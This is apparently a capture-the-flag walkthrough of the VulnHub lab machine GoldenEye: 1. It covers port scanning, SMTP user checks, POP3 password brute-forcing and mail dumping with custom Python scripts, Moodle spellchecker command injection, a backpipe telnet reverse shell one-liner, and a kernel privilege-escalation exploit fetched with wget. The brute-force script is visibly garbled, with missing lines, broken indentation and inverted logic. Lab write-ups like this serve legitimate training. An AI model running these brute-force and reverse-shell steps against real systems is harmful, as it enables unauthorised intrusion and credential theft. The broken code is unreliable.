Goldeneye: 1

GoldenEye: 1 was the third VulnHub machine that I successfully rooted.  It’s described as an “OSCP type vulnerable machine”, which I found to be very accurate.  One thing that I’ve found to be slightly different with some VulnHub machines (and/or maybe CTF challenges in general) vs typical OSCP boxes is that they’re often times set up to be more of games and brain teasers than they are challenges to allow you to continue the honing of your penetration testing skills.  While that’s all good, and I certainly appreciate a good brain teaser…I much prefer a more realistic scenario with vulnerabilities to exploit and code to write.  That said, below is my walkthrough on this machine  (which I thoroughly enjoyed).

Like any good penetration tester, I like to start with an old-fashioned nmap scan. With that I found services on ports 25, 80, 5506 and 5507. Through some banner grabbing with NetCat (and also a pinch of common sense) we find SMTP, HTTP, and POP3 services. Next is a Nikto scan, which finds a page called splashAdmin.php at the root web context.

This elegant 90s-inspired web page allows us to start our user enumeration; seems like Boris and Natalya are both users of this system.

Additionally, and this doesn’t turn out to be very helpful or interesting but I’ll mention it anyway…if you visit the root context you’ll have a welcome page with a reference to terminal.js which has an HTML encoded string. Turns out this can be decoded to say “InvincibleHack3r” and can be used with one of the two usernames we’ve come across at this point (boris) to access the referenced page /sev-home (Basic Auth). I found nothing very interesting here, though…thus, we move on.

Back to the two usernames we have…we have some mail services running on this machine that we’d like to start checking into. Using a pretty simple Python script we’re able to VRFY both Boris and Natalya, nice!

Now to see if we can get into their inboxes. Sure we could use the auxiliary/scanner/pop3/pop3_login Metasploit module, and it’s probably much faster than something that I’d write myself, but that’s less fun.

import socket
import sys
import threading
import time

host = sys.argv[1]
port = sys.argv[2]
userlist = sys.argv[3]
passwordlist = sys.argv[4]

brokenUsers = []

def doAuth(user, password):
        if(user in brokenUsers):
            s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            connect=s.connect((host, int(port)))
            s.send('USER ' + user + '\r\n')
            s.send('PASS ' + password + '\r\n')
            resp = s.recv(1024)
            if("OK" in resp):
                print "Success for " + user + " with password " + password
                print resp
                    print "Exiting early because all users broken"

class AuthThread(threading.Thread):
    def __init__(self, user, password):
        self.user = user
        self.password = password
    def run(self):
        doAuth(self.user, password.strip())

with open(userlist) as userfile:
    userlist = userfile.readlines(8192)

with open(passwordlist) as pwfile:
   pwlist  = pwfile.readlines(8192)

counter = 0
for user in userlist:
    for password in pwlist:
        if(user in brokenUsers):
        thread = AuthThread(user.strip(), password.strip())
        counter = counter + 1
        if(counter%50 == 0):

So now we have two logins:

We can now login to their mail accounts on port 55007 and retrieve all of their messages (with some slightly more sophisticated/modern POP3 code).

import poplib
from email import parser
import sys

host = sys.argv[1]
port = sys.argv[2]
user = sys.argv[3]
password = sys.argv[4]

def getConnection():
    conn = poplib.POP3(host, port)
    return conn

def retrieveMail():
    conn = getConnection() 
    messages = [conn.retr(i) for i in range(1, len(conn.list()[1]) + 1)]
    messages = ["\n".join(msg[1]) for msg in messages]
    messages = [parser.Parser().parsestr(msg) for msg in messages]
    return messages

def printMail():
    messages = retrieveMail()
    for msg in messages:
        for part in msg.walk():
            name = part.get_filename()
            if(name != None):
                print "\n----Attachment----\n " + name + "\n----End Attachment----\n"
            data = part.get_payload(decode=True)
            print data


The most interesting piece here is:
username: xenia
password: RCP90rulez!

Additionally, they mention “”, and to point your host file there. After doing that, and going there we find a login form to a “Moodle” website where we can authenticate as xenia.

After a bit of browsing around Xenia’s account we find some communication between her and “Dr. Doak”, who conveniently tells us that his email username is “doak”.

Here’s another account we can try and brute force.

Nice, using our same lightning-fast (yet super intrusive) Python script we’re able to break doak’s password and download his mail.

Dr. Doak has a secret file stored in his Moodle account which references a .jpg that lives on the server. We can download that .jpg and peek inside to find a base64 encoded string.

So the admin’s password is xWinter1995x! Now to figure out what to do with that. While there is a Metasploit module which can exploit Moodle (exploit/multi/http/moodle_cmd_exec), I found that this didn’t work for me for a yet-to-be-determined reason (I didn’t dig deep enough to find the flaw). What I did find, though, is that the same vulnerability that the Metasploit module takes advantage of can be exploited manually.

The vulnerability has to do with the piece of Moodle that handles spellchecking. There’s a system path, which can be specified by administrators, that gets executed whenever someone tries to spellcheck a blog post, for instance. This is what we need to override with some reverse shell code.

After logging in with our admin credentials (dr_doak:xWinter1995x!) we navigate to the System/Paths section to override this setting, in addition to adjusting the Spell engine to use PSpellShell.

While everyone knows there’s a million ways to invoke a reverse shell, the approach I went with uses the “backpipe” trick.

sh -c '(mknod /tmp/backpipe p 2> /dev/null && /bin/bash 0</tmp/backpipe | telnet 4444 1>/tmp/backpipe &)'

After saving my new settings and invoking the spellchecker (while composing a blog entry), my reverse shell connects with a low-privilege shell (www-data).

It’s clear from the get-go that we’re looking at Linux kernel 3.13. A quick something-search turns up a pretty simple privilege escalation exploit.

The bad news, however, is that this exploit requires gcc, which was conveniently mentioned way back in the beginning of this adventure, on splashAdmin.php, where it was stated that gcc was removed from the server.

Thus, we swap it out with cc and place it on our attacking machine’s Apache server for a quick download with wget (still via our reverse shell), compile with cc, and execution for full root privileges.